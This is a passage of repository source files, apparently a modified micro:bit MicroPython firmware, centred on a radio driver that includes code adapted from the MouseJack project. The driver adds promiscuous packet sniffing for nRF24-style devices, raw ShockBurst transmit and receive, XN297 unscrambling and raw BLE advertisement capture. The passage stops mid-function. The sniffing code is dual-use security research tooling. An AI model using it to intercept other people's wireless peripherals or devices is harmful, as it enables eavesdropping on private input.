MP_DEFINE_STR_OBJ(os_uname_info_release_obj, microbit_release_string);\nSTATIC const MP_DEFINE_STR_OBJ(os_uname_info_version_obj, microbit_version_string);\nSTATIC const MP_DEFINE_STR_OBJ(os_uname_info_machine_obj, MICROBIT_BOARD_NAME \" with \" MICROPY_HW_MCU_NAME);\n\nSTATIC MP_DEFINE_ATTRTUPLE(\n    os_uname_info_obj,\n    os_uname_info_fields,\n    5,\n    (mp_obj_t)&os_uname_info_sysname_obj,\n    (mp_obj_t)&os_uname_info_nodename_obj,\n    (mp_obj_t)&os_uname_info_release_obj,\n    (mp_obj_t)&os_uname_info_version_obj,\n    (mp_obj_t)&os_uname_info_machine_obj\n);\n\nSTATIC mp_obj_t os_uname(void) {\n    return (mp_obj_t)&os_uname_info_obj;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(os_uname_obj, os_uname);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(microbit_remove_obj, microbit_remove);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(microbit_file_list_obj, microbit_file_list);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(microbit_file_size_obj, microbit_file_size);\n\nstatic const mp_map_elem_t _globals_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_os) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_remove), (mp_obj_t)&microbit_remove_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_listdir), (mp_obj_t)&microbit_file_list_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_size), (mp_obj_t)&microbit_file_size_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_uname), (mp_obj_t)&os_uname_obj },\n};\n\nstatic MP_DEFINE_CONST_DICT(_globals, _globals_table);\n\nconst mp_obj_module_t os_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&_globals,\n};\n"
  },
  {
    "path": "micropython/source/microbit/modradio.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * Contains some code from MouseJack (developed by BastilleResearch)\n * see: https://github.com/BastilleResearch/nrf-research-firmware/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Damien P. George\n * Copyright (c) 2016 Damien Cauquil\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#include \"MicroBitConfig.h\"\n#include \"MicroBitImage.h\"\n\nextern \"C\" {\n\n#include <stdio.h>\n#include <string.h>\n\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n//#include \"microbitobj.h\"\n#include <nrf_delay.h>\n\n#define RADIO_DEFAULT_MODE          (0)\n#define RADIO_SNIFF_MODE            (1)\n#define RADIO_DEFAULT_MAX_PAYLOAD   (32)\n#define RADIO_SNIFF_MAX_PAYLOAD     (38)\n#define RADIO_DEFAULT_QUEUE_LEN     (10)\n#define RADIO_DEFAULT_CHANNEL       (7)\n#define RADIO_DEFAULT_POWER_DBM     (0)\n#define RADIO_DEFAULT_BASE0         (0x75626974) // \"uBit\"\n#define RADIO_DEFAULT_PREFIX0       (0)\n#define RADIO_DEFAULT_DATA_RATE     (RADIO_MODE_MODE_Nrf_1Mbit)\n\n#define RADIO_SHORTS_COMMON ( RADIO_SHORTS_READY_START_Msk | RADIO_SHORTS_END_DISABLE_Msk | \\\n                                                      RADIO_SHORTS_ADDRESS_RSSISTART_Msk | RADIO_SHORTS_DISABLED_RSSISTOP_Msk )\n\ntypedef enum {\n    MODE_DEFAULT,\n    MODE_SNIFF,\n    MODE_ESB,\n    MODE_SB,\n    MODE_CX,\n    MODE_BLE,\n    MODE_BLE_LL,\n} radio_mode_t;\n\ntypedef struct _radio_state_t {\n    uint8_t mode;           // radio mode (tx/rx or sniff)\n    uint8_t max_payload;    // 1-251 inclusive\n    uint8_t queue_len;      // 1-254 inclusive\n    uint8_t channel;        // 0-100 inclusive\n    int8_t power_dbm;       // one of: -30, -20, -16, -12, -8, -4, 0, 4\n    uint32_t base0;         // for BASE0 register\n    uint8_t prefix0;        // for PREFIX0 register (lower 8 bits only)\n    uint8_t data_rate;      // one of: RADIO_MODE_MODE_Nrf_{250Kbit,1Mbit,2Mbit}\n    uint8_t pid;            // PID for ESB DPL\n    uint8_t sniff_raw;      // raw sniffing\n} radio_state_t;\n\nstatic radio_state_t radio_state;\nstatic uint8_t *buf_end = NULL;\nstatic uint8_t *rx_buf = NULL;\nstatic uint8_t esb_ready = 1;\nstatic uint8_t ping_pkt[] = {0x0F, 0x0F, 0x0F, 0x0F};\nstatic uint32_t timestamp = 0;\n\n/* BE to LE (and inv.) helper. */\nstatic uint32_t bytewise_bit_swap(uint32_t inp)\n{\n    inp = (inp & 0xF0F0F0F0) >> 4 | (inp & 0x0F0F0F0F) << 4;\n    inp = (inp & 0xCCCCCCCC) >> 2 | (inp & 0x33333333) << 2;\n    return (inp & 0xAAAAAAAA) >> 1 | (inp & 0x55555555) << 1;\n}\n\n/* CRC16-CCITT with 1-8 bits from a given byte */\nuint16_t crc_update(uint16_t crc, uint8_t byte, uint8_t bits)\n{\n    crc = crc ^ (byte << 8);\n    while(bits--)\n        if((crc & 0x8000) == 0x8000) crc = (crc << 1) ^ 0x1021;\n        else crc = crc << 1;\n    crc = crc & 0xFFFF;\n    return crc;\n}\n\n/* XN297 routines */\nstatic const uint8_t xn297_scramble[] = {\n    0xe3, 0xb1, 0x4b, 0xea, 0x85, 0xbc, 0xe5, 0x66,\n    0x0d, 0xae, 0x8c, 0x88, 0x12, 0x69, 0xee, 0x1f,\n    0xc7, 0x62, 0x97, 0xd5, 0x0b, 0x79, 0xca, 0xcc,\n    0x1b, 0x5d, 0x19, 0x10, 0x24, 0xd3, 0xdc, 0x3f,\n    0x8e, 0xc5, 0x2f};\n\nstatic const uint16_t xn297_crc_xorout[] = {\n    0x0000, 0x3448, 0x9BA7, 0x8BBB, 0x85E1, 0x3E8C,\n    0x451E, 0x18E6, 0x6B24, 0xE7AB, 0x3828, 0x814B,\n    0xD461, 0xF494, 0x2503, 0x691D, 0xFE8B, 0x9BA7,\n    0x8B17, 0x2920, 0x8B5F, 0x61B1, 0xD391, 0x7401,\n    0x2138, 0x129F, 0xB3A0, 0x2988};\n\nuint8_t bit_reverse(uint8_t b_in)\n{\n    uint8_t b_out = 0;\n    for (uint8_t i = 0; i < 8; ++i) {\n        b_out = (b_out << 1) | (b_in & 1);\n        b_in >>= 1;\n    }\n    return b_out;\n}\n\nstatic const uint16_t polynomial = 0x1021;\nstatic const uint16_t initial    = 0xb5d2;\nuint16_t crc16_update(uint16_t crc, unsigned char a)\n{\n    crc ^= a << 8;\n    for (uint8_t i = 0; i < 8; ++i) {\n        if (crc & 0x8000) {\n            crc = (crc << 1) ^ polynomial;\n            } else {\n            crc = crc << 1;\n        }\n    }\n    return crc;\n}\n\n/**\n * BLE channel computation routine.\n **/\n\nuint8_t channel_resolver_get_frequency(uint8_t channel)\n{\n\tuint8_t freq;\n\n\t/* Special cases for the advertise channels */\n\tif(channel == 37)\n\t\tfreq = 2;\n\telse if(channel == 38)\n\t\tfreq = 26;\n\telse if(channel == 39)\n\t\tfreq = 80;\n\telse\n\t\tfreq = channel + (channel < 11 ? 2 : 3) * 2; // Spec Vol. 6, Part B, 1.4.1\n\n\treturn freq;\n}\n\n\n/**\n * The sniffing code comes from BastilleResearch's MouseJack firmware for\n * the CrazyRadio PA (based on NRF24LU1P).\n **/\n\nvoid RADIO_IRQHandler(void) {\n    if (NRF_RADIO->EVENTS_READY) {\n        NRF_RADIO->EVENTS_READY = 0;\n        NRF_RADIO->TASKS_START = 1;\n    }\n\n    if (NRF_RADIO->EVENTS_END) {\n        NRF_RADIO->EVENTS_END = 0;\n\n        if (radio_state.mode == MODE_DEFAULT) {\n            size_t max_len = NRF_RADIO->PCNF1 & 0xff;\n            size_t len = rx_buf[0];\n            if (len > max_len) {\n                len = max_len;\n                rx_buf[0] = len;\n            }\n\n            //printf(\"radio end pos=%d len=%d [%d %d %d %d]\\r\\n\", rx_buf - MP_STATE_PORT(radio_buf), len, rx_buf[0], rx_buf[1], rx_buf[2], rx_buf[3]);\n\n            // if the CRC is valid then accept the packet\n            if (NRF_RADIO->CRCSTATUS == 1) {\n                //printf(\"rssi: %d\\r\\n\", -NRF_RADIO->RSSISAMPLE);\n\n                // only move the rx_buf pointer if there is enough room for another full packet\n                if (rx_buf + 1 + len + 1 + max_len <= buf_end) {\n                    rx_buf += 1 + len;\n                    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n                }\n            }\n        } else if (radio_state.mode == MODE_SNIFF) {\n            int x, offset;\n            uint8_t payload_length;\n            uint16_t crc, crc_given;\n            uint8_t payload[RADIO_SNIFF_MAX_PAYLOAD];\n\n            /* Copy sniffed packet. */\n            memcpy(payload, rx_buf, radio_state.max_payload);\n\n            if (!radio_state.sniff_raw) {\n                // In promiscuous mode without a defined address prefix, we attempt to\n                // decode the payload as-is, and then shift it by one bit and try again\n                // if the first attempt did not pass the CRC check. The purpose of this\n                // is to minimize missed detections that happen if we were to use both\n                // 0xAA and 0x55 as the nonzero promiscuous mode address bytes.\n                for(offset = 0; offset < 2; offset++) {\n                    // Shift the payload right by one bit if this is the second pass\n                    if(offset == 1) {\n                        for(x = 31; x >= 0; x--) {\n                            if(x > 0) payload[x] = payload[x - 1] << 7 | payload[x] >> 1;\n                            else payload[x] = payload[x] >> 1;\n                        }\n                    }\n\n                    // Read the payload length\n                    payload_length = payload[5] >> 2;\n\n                    // Check for a valid payload length, which is less than the usual 32 bytes\n                    // because we need to account for the packet header, CRC, and part or all\n                    // of the address bytes.\n                    if(payload_length <= 40) {\n                        // Read the given CRC\n                        crc_given = (payload[6 + payload_length] << 9) | ((payload[7 + payload_length]) << 1);\n                        crc_given = (crc_given << 8) | (crc_given >> 8);\n                        if(payload[8 + payload_length] & 0x80) crc_given |= 0x100;\n\n                        // Calculate the CRC\n                        crc = 0xFFFF;\n                        for(x = 0; x < 6 + payload_length; x++) crc = crc_update(crc, payload[x], 8);\n                        crc = crc_update(crc, payload[6 + payload_length] & 0x80, 1);\n                        crc = (crc << 8) | (crc >> 8);\n\n                        /* CRC match ? */\n                        if(crc == crc_given)\n                        {\n                            /* Kinda lock we use to avoid conflicts. */\n                            esb_ready = 0;\n\n                            /* Write packet size to rx_buf. */\n                            rx_buf[0] = 0xC0 | payload_length;\n\n                            /* Write address to rx_buf. */\n                            memcpy(&rx_buf[1], payload, 5);\n\n                            for(x = 0; x < payload_length + 3; x++)\n                                rx_buf[6+x] = ((payload[6 + x] << 1) & 0xFF) | (payload[7 + x] >> 7);\n\n                            // only move the rx_buf pointer if there is enough room for another full packet\n                            if (rx_buf + 2*radio_state.max_payload <= buf_end) {\n                                rx_buf += radio_state.max_payload;\n                                NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n                            }\n\n                            /* Data updated, ready to be read. */\n                            esb_ready = 1;\n                        }\n                    }\n                }\n            } else {\n                /* Raw mode, don't take the CRC into account. */\n\n                /* Kinda lock we use to avoid conflicts. */\n                esb_ready = 0;\n\n                /* Write packet size to rx_buf. */\n                payload_length = 0x28;\n                rx_buf[0] = 0xC0 | payload_length;\n\n                /* Write address to rx_buf. */\n                memcpy(&rx_buf[1], payload, 0x28);\n\n                // only move the rx_buf pointer if there is enough room for another full packet\n                if (rx_buf + 2*radio_state.max_payload <= buf_end) {\n                    rx_buf += radio_state.max_payload;\n                    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n                }\n\n                /* Data updated, ready to be read. */\n                esb_ready = 1;\n            }\n        } else if (radio_state.mode == MODE_ESB) {\n            size_t len = rx_buf[0];\n\n            // if the CRC was valid then accept the packet\n            if (NRF_RADIO->CRCSTATUS == 1) {\n                // only move the rx_buf pointer if there is enough room for another full packet\n                if (rx_buf + 2 + len + 34 <= buf_end) {\n                    rx_buf += len + 2;\n                    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n                }\n            }\n        } else if (radio_state.mode == MODE_SB) {\n            size_t len = radio_state.max_payload;\n\n            // only move the rx_buf pointer if there is enough room for another full packet\n            if (rx_buf + 2*radio_state.max_payload <= buf_end) {\n                rx_buf += len;\n                NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n            }\n        } else if (radio_state.mode == MODE_CX) {\n            size_t len = radio_state.max_payload;\n\n            /* Unscramble packet. */\n            for (uint8_t i=0; i<len; i++) {\n                rx_buf[i] = bit_reverse(rx_buf[i]) ^ bit_reverse(xn297_scramble[i+5]);\n            }\n\n            // only move the rx_buf pointer if there is enough room for another full packet\n            if (rx_buf + 2*radio_state.max_payload <= buf_end) {\n                rx_buf += len;\n                NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n            }\n        } else if (radio_state.mode == MODE_BLE) {\n            size_t len = rx_buf[1];\n\n            // if the CRC was valid then accept the packet\n            if ((NRF_RADIO->CRCSTATUS == 1)) {\n\n                // shift rx buffer by 5 bytes\n                for (uint8_t i=40;i!=0;i--) {\n                    rx_buf[i+5] = rx_buf[i];\n                }\n                rx_buf[5] = rx_buf[0];\n\n                // add current channel and timestamp\n                //timestamp = uBit.systemTime();\n                timestamp = 0;\n                memcpy((void*)&rx_buf[1], &timestamp, 4);\n                rx_buf[0] = radio_state.channel;\n\n                // only move the rx_buf pointer if there is enough room for another full packet\n                if (rx_buf + len + 45 + 8 <= buf_end) {\n                    rx_buf += len + 8;\n                    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n                }\n            }\n        }\n        NRF_RADIO->TASKS_START = 1;\n    }\n}\n\nstatic void ensure_enabled(void) {\n    if (MP_STATE_PORT(radio_buf) == NULL) {\n        nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"radio is not enabled\"));\n    }\n}\n\nstatic void radio_disable(void) {\n    NVIC_DisableIRQ(RADIO_IRQn);\n    NRF_RADIO->EVENTS_DISABLED = 0;\n    NRF_RADIO->TASKS_DISABLE = 1;\n    while (NRF_RADIO->EVENTS_DISABLED == 0);\n    // free any old buffers\n    if (MP_STATE_PORT(radio_buf) != NULL) {\n        m_del(uint8_t, MP_STATE_PORT(radio_buf), buf_end - MP_STATE_PORT(radio_buf));\n        MP_STATE_PORT(radio_buf) = NULL;\n    }\n}\n\nstatic void radio_enable(void) {\n    radio_disable();\n\n    // Enable default mode\n    radio_state.mode = MODE_DEFAULT;\n    radio_state.sniff_raw = 0;\n\n    // allocate tx and rx buffers\n    size_t max_payload = radio_state.max_payload + 1; // an extra byte to store the length\n    size_t queue_len = radio_state.queue_len + 1; // one extra for tx buffer\n    MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len);\n    buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len;\n    rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer\n\n    // Enable the High Frequency clock on the processor. This is a pre-requisite for\n    // the RADIO module. Without this clock, no communication is possible.\n    NRF_CLOCK->EVENTS_HFCLKSTARTED = 0;\n    NRF_CLOCK->TASKS_HFCLKSTART = 1;\n    while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0);\n\n    // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4\n    NRF_RADIO->TXPOWER = radio_state.power_dbm;\n\n    // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register)\n    NRF_RADIO->FREQUENCY = radio_state.channel;\n\n    // configure data rate\n    NRF_RADIO->MODE = radio_state.data_rate;\n\n    // The radio supports filtering packets at the hardware level based on an address.\n    // We use a 5-byte address comprised of 4 bytes (set by BALEN=4 below) from the BASEx\n    // register, plus 1 byte from PREFIXm.APn.\n    // The (x,m,n) values are selected by the logical address.  We use logical address 0\n    // which means using BASE0 with PREFIX0.AP0.\n    NRF_RADIO->BASE0 = radio_state.base0;\n    NRF_RADIO->PREFIX0 = radio_state.prefix0;\n    NRF_RADIO->TXADDRESS = 0; // transmit on logical address 0\n    NRF_RADIO->RXADDRESSES = 1; // a bit mask, listen only to logical address 0\n\n    // LFLEN=8 bits, S0LEN=0, S1LEN=0\n    NRF_RADIO->PCNF0 = 0x00000008;\n    // STATLEN=0, BALEN=4, ENDIAN=0 (little), WHITEEN=1\n    NRF_RADIO->PCNF1 = 0x02040000 | radio_state.max_payload;\n\n    // Enable automatic 16bit CRC generation and checking, and configure how the CRC is calculated.\n    NRF_RADIO->CRCCNF = RADIO_CRCCNF_LEN_Two;\n    NRF_RADIO->CRCINIT = 0xFFFF;\n    NRF_RADIO->CRCPOLY = 0x11021;\n\n    // Set the start random value of the data whitening algorithm. This can be any non zero number.\n    NRF_RADIO->DATAWHITEIV = 0x18;\n\n    // set receive buffer\n    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n\n    // configure interrupts\n    NRF_RADIO->INTENSET = 0x00000008;\n    NVIC_ClearPendingIRQ(RADIO_IRQn);\n    NVIC_EnableIRQ(RADIO_IRQn);\n\n    NRF_RADIO->SHORTS |= RADIO_SHORTS_ADDRESS_RSSISTART_Msk;\n\n    // enable receiver\n    NRF_RADIO->EVENTS_READY = 0;\n    NRF_RADIO->TASKS_RXEN = 1;\n    while (NRF_RADIO->EVENTS_READY == 0);\n\n    NRF_RADIO->EVENTS_END = 0;\n    NRF_RADIO->TASKS_START = 1;\n}\n\n/* Enable sniff mode based on Goodspeed's hack */\nstatic void radio_enable_sniff(void) {\n    radio_disable();\n\n    // Sniff mode on\n    radio_state.mode = MODE_SNIFF;\n    radio_state.max_payload = 38; // 38 bytes to be sure to get 32 bytes payloads :)\n\n    // allocate tx and rx buffers\n    size_t max_payload = 40; // an extra byte to store the length\n    size_t queue_len = radio_state.queue_len; // one extra for tx buffer\n    MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len);\n    buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len;\n    rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer\n\n    // Enable the High Frequency clock on the processor. This is a pre-requisite for\n    // the RADIO module. Without this clock, no communication is possible.\n    NRF_CLOCK->EVENTS_HFCLKSTARTED = 0;\n    NRF_CLOCK->TASKS_HFCLKSTART = 1;\n    while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0);\n\n    // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4\n    NRF_RADIO->TXPOWER = radio_state.power_dbm;\n\n    // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register)\n    NRF_RADIO->FREQUENCY = radio_state.channel;\n\n    // configure data rate\n    NRF_RADIO->MODE = radio_state.data_rate;\n\n    // The radio supports filtering packets at the hardware level based on an address.\n    // We use a 5-byte address comprised of 4 bytes (set by BALEN=4 below) from the BASEx\n    // register, plus 1 byte from PREFIXm.APn.\n    // The (x,m,n) values are selected by the logical address.  We use logical address 0\n    // which means using BASE0 with PREFIX0.AP0.\n    NRF_RADIO->BASE0 = 0x00000000;\n    NRF_RADIO->PREFIX0 = 0x55; // preamble\n\n    // LFLEN=0 bits, S0LEN=0, S1LEN=0\n    NRF_RADIO->PCNF0 = 0x00000000;\n    // STATLEN=40, MAXLEN=40, BALEN=1, ENDIAN=1 (big), WHITEEN=0\n    NRF_RADIO->PCNF1 = 0x01012828;\n\n    // Disable CRC\n    NRF_RADIO->CRCCNF = 0x0;\n    NRF_RADIO->CRCINIT = 0xFFFF;\n    NRF_RADIO->CRCPOLY = 0x11021;\n\n    // set receive buffer\n    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n\n    // configure interrupts\n    NRF_RADIO->INTENSET = 0x00000008;\n    NVIC_ClearPendingIRQ(RADIO_IRQn);\n    NVIC_EnableIRQ(RADIO_IRQn);\n\n    //NRF_RADIO->SHORTS |= RADIO_SHORTS_ADDRESS_RSSISTART_Msk;\n    NRF_RADIO->SHORTS = 0;\n\n    // enable receiver\n    NRF_RADIO->EVENTS_READY = 0;\n    NRF_RADIO->TASKS_RXEN = 1;\n    while (NRF_RADIO->EVENTS_READY == 0);\n\n    NRF_RADIO->EVENTS_END = 0;\n    NRF_RADIO->TASKS_START = 1;\n}\n\n/**\n * Enhanced ShockBurst mode\n *\n * This mode is a simplistic implementation of ESB with no Auto-ack feature and\n * a fixed 16-bit CRC as used by the default implementation in NRF24L01+. It\n * uses a small amount of memory but allows to transmit and receive data based\n * on one of the most classic configuration.\n *\n * Sniffing is also possible thanks to Travis Goodspeed's NRF24L01+ hack, that\n * still works with NRF51 SDK \\o/\n *\n * This mode should be used from Python as following:\n *\n * >> radio.on()\n * >> radio.config(channel=10, address=0x11223344, group=0x55)\n * >> radio.esb()\n * >> radio.send_bytes(b'TROLOLO')\n * >> pkt = radio.receive()\n **/\n\nstatic void radio_enable_esb(void) {\n    radio_disable();\n\n    // Sniff mode on\n    radio_state.mode = MODE_ESB;\n\n    // allocate tx and rx buffers\n    size_t max_payload = 34; // an extra byte to store the length\n    size_t queue_len = radio_state.queue_len; // one extra for tx buffer\n    MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len);\n    buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len;\n    rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer\n\n    // Enable the High Frequency clock on the processor. This is a pre-requisite for\n    // the RADIO module. Without this clock, no communication is possible.\n    NRF_CLOCK->EVENTS_HFCLKSTARTED = 0;\n    NRF_CLOCK->TASKS_HFCLKSTART = 1;\n    while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0);\n\n    // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4\n    NRF_RADIO->TXPOWER = radio_state.power_dbm;\n\n    // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register)\n    NRF_RADIO->FREQUENCY = radio_state.channel;\n\n    // configure default data rate\n    NRF_RADIO->MODE = RADIO_MODE_MODE_Nrf_2Mbit;\n    radio_state.data_rate = RADIO_MODE_MODE_Nrf_2Mbit;\n\n    // The radio supports filtering packets at the hardware level based on an address.\n    // We use a 5-byte address comprised of 4 bytes (set by BALEN=4 below) from the BASEx\n    // register, plus 1 byte from PREFIXm.APn.\n    // The (x,m,n) values are selected by the logical address.  We use logical address 0\n    // which means using BASE0 with PREFIX0.AP0.\n    //\n    // ESB mode uses address as big endian, combined with group with a default address\n    // size of 5 bytes (mostly used on ESB compatible devices).\n    // ESB address is composed of address.group, for instance to address device\n    // 11:22:33:44:55 then use: address=0x11223344 and group=0x55.\n    NRF_RADIO->BASE0 = bytewise_bit_swap(\n        (radio_state.base0 & 0x000000ff)<<24 |\n        (radio_state.base0 & 0xff000000)>>24 |\n        (radio_state.base0 & 0x0000ff00)<< 8 |\n        (radio_state.base0 & 0x00ff0000)>> 8\n    );\n    NRF_RADIO->PREFIX0 = bytewise_bit_swap(radio_state.prefix0);\n\n    // LFLEN=6 bits, S0LEN=0, S1LEN=3\n    NRF_RADIO->PCNF0 = (0 << RADIO_PCNF0_S0LEN_Pos) | (6 << RADIO_PCNF0_LFLEN_Pos) | (3 << RADIO_PCNF0_S1LEN_Pos);\n    // STATLEN=0, BALEN=4, ENDIAN=1 (big), WHITEEN=0\n    NRF_RADIO->PCNF1 = (RADIO_PCNF1_WHITEEN_Disabled        << RADIO_PCNF1_WHITEEN_Pos) |\n                       (RADIO_PCNF1_ENDIAN_Big              << RADIO_PCNF1_ENDIAN_Pos)  |\n                       ((4) << RADIO_PCNF1_BALEN_Pos)   |\n                       (0                                   << RADIO_PCNF1_STATLEN_Pos) |\n                       (38        << RADIO_PCNF1_MAXLEN_Pos);\n\n   NRF_RADIO->TXADDRESS = 0; // transmit on logical address 0\n   NRF_RADIO->RXADDRESSES = 1; // a bit mask, listen only to logical address 0\n\n    NRF_RADIO->CRCCNF = RADIO_CRCCNF_LEN_Two;\n    NRF_RADIO->CRCINIT = 0xFFFF;\n    NRF_RADIO->CRCPOLY = 0x11021;\n\n    // set receive buffer\n    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n\n    // configure interrupts\n    NRF_RADIO->INTENSET = 0x00000008;\n    NVIC_ClearPendingIRQ(RADIO_IRQn);\n    NVIC_EnableIRQ(RADIO_IRQn);\n\n    NRF_RADIO->SHORTS = 0;\n\n    // enable receiver\n    NRF_RADIO->EVENTS_READY = 0;\n    NRF_RADIO->TASKS_RXEN = 1;\n    while (NRF_RADIO->EVENTS_READY == 0);\n\n    NRF_RADIO->EVENTS_END = 0;\n    NRF_RADIO->TASKS_START = 1;\n}\n\nstatic void radio_enable_sb(void) {\n    radio_disable();\n\n    // Sniff mode on\n    radio_state.mode = MODE_SB;\n\n    // allocate tx and rx buffers\n    size_t max_payload = radio_state.max_payload; // an extra byte to store the length\n    size_t queue_len = radio_state.queue_len; // one extra for tx buffer\n    MP_STATE_PORT(radio_buf) = m_new(uint8_t, max_payload * queue_len);\n    buf_end = MP_STATE_PORT(radio_buf) + max_payload * queue_len;\n    rx_buf = MP_STATE_PORT(radio_buf) + max_payload; // start is tx buffer\n\n    // Enable the High Frequency clock on the processor. This is a pre-requisite for\n    // the RADIO module. Without this clock, no communication is possible.\n    NRF_CLOCK->EVENTS_HFCLKSTARTED = 0;\n    NRF_CLOCK->TASKS_HFCLKSTART = 1;\n    while (NRF_CLOCK->EVENTS_HFCLKSTARTED == 0);\n\n    // power should be one of: -30, -20, -16, -12, -8, -4, 0, 4\n    NRF_RADIO->TXPOWER = radio_state.power_dbm;\n\n    // should be between 0 and 100 inclusive (actual physical freq is 2400MHz + this register)\n    NRF_RADIO->FREQUENCY = radio_state.channel;\n\n    // configure default data rate\n    NRF_RADIO->MODE = radio_state.data_rate;\n\n    // The radio supports filtering packets at the hardware level based on an address.\n    // We use a 5-byte address comprised of 4 bytes (set by BALEN=4 below) from the BASEx\n    // register, plus 1 byte from PREFIXm.APn.\n    // The (x,m,n) values are selected by the logical address.  We use logical address 0\n    // which means using BASE0 with PREFIX0.AP0.\n    //\n    // ESB mode uses address as big endian, combined with group with a default address\n    // size of 5 bytes (mostly used on ESB compatible devices).\n    // ESB address is composed of address.group, for instance to address device\n    // 11:22:33:44:55 then use: address=0x11223344 and group=0x55.\n    NRF_RADIO->BASE0 = bytewise_bit_swap(\n        (radio_state.base0 & 0x000000ff)<<24 |\n        (radio_state.base0 & 0xff000000)>>24 |\n        (radio_state.base0 & 0x0000ff00)<< 8 |\n        (radio_state.base0 & 0x00ff0000)>> 8\n    );\n    NRF_RADIO->PREFIX0 = bytewise_bit_swap(radio_state.prefix0);\n\n    NRF_RADIO->PCNF0 = (0 << RADIO_PCNF0_S0LEN_Pos) | (0 << RADIO_PCNF0_LFLEN_Pos) | (0 << RADIO_PCNF0_S1LEN_Pos);\n    NRF_RADIO->PCNF1 = (RADIO_PCNF1_WHITEEN_Disabled        << RADIO_PCNF1_WHITEEN_Pos) |\n                       (RADIO_PCNF1_ENDIAN_Big              << RADIO_PCNF1_ENDIAN_Pos)  |\n                       ((4) << RADIO_PCNF1_BALEN_Pos)   |\n                       (radio_state.max_payload             << RADIO_PCNF1_STATLEN_Pos) |\n                       (radio_state.max_payload             << RADIO_PCNF1_MAXLEN_Pos);\n\n    //NRF_RADIO->CRCCNF = RADIO_CRCCNF_LEN_Two;\n    NRF_RADIO->CRCCNF = 0x0;\n    NRF_RADIO->CRCINIT = 0xFFFF;\n    NRF_RADIO->CRCPOLY = 0x11021;\n\n    NRF_RADIO->TXADDRESS = 0; // transmit on logical address 0\n    NRF_RADIO->RXADDRESSES = 1; // a bit mask, listen only to logical address 0\n\n    // set receive buffer\n    NRF_RADIO->PACKETPTR = (uint32_t)rx_buf;\n\n    // configure interrupts\n    NRF_RADIO->INTENSET = 0x00000008;\n    NVIC_ClearPendingIRQ(RADIO_IRQn);\n    NVIC_EnableIRQ(RADIO_IRQn);\n\n    NRF_RADIO->SHORTS = 0;\n\n    // enable receiver\n    NRF_RADIO->EVENTS_READY = 0;\n    NRF_RADIO->TASKS_RXEN = 1;\n    while (NRF_RADIO->EVENTS_READY == 0);\n\n    NRF_RADIO->EVENTS_END = 0;\n    NRF_RADIO->TASKS_START = 1;\n}\n\nstatic void radio_enable_cx(void) {\n    radio_disable();\n\n    /* Force payload size. */\n    radio_state.max_payload = 29;\n\n    /* Force address (XN297) */\n    radio_state.base0 = 0x2f7d8726;\n    radio_state.prefix0 = 0x49;\n\n    /* Enable SB */\n    radio_enable_sb();\n\n    /* Consider this mode as MODE_CX. */\n    radio_state.mode = MODE_CX;\n}\n\n\n/**\n * Raw BLE mode\n *\n * This mode allows BLE advertisement and connection request sniffing (at the moment),\n * but provides the data as-is without any processing.\n */\n\nvoid radio_enable_ble(void) {\n    radio_disable();\n\n    // Sniff mode on\n    radio_state.mode = MODE_BLE;\n\n    // allocate tx and 